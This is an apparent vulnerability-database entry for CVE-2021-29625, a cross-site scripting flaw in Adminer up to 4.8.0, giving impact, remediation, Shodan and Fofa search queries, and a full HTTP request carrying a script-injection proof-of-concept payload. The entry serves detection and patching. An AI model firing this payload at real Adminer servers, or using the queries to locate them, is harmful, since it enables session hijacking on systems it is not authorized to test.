🔙 목록으로 돌아가기

CVE-2021-29625: Adminer <=4.8.0 - Cross-Site Scripting

TitleAdminer <=4.8.0 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the Adminer interface, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationThis vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
CVSS Score6.1
EPSS Score0.70255
CVE IDCVE-2021-29625
CWE IDCWE-79
Shodan Queryhttp.title:"login - adminer"cpe:"cpe:2.3:a:adminer:adminer"
Fofa Queryapp="adminer" && body="4.7.8"title="login - adminer"
Tags cve2021 cve adminer xss sqli vuln

🔍 Vulnerability Description

Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a pdo_ extension to communicate with the database (it is used if the native extensions are not enabled).

🌐 HTTP Request

GET /?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29625.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29625.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A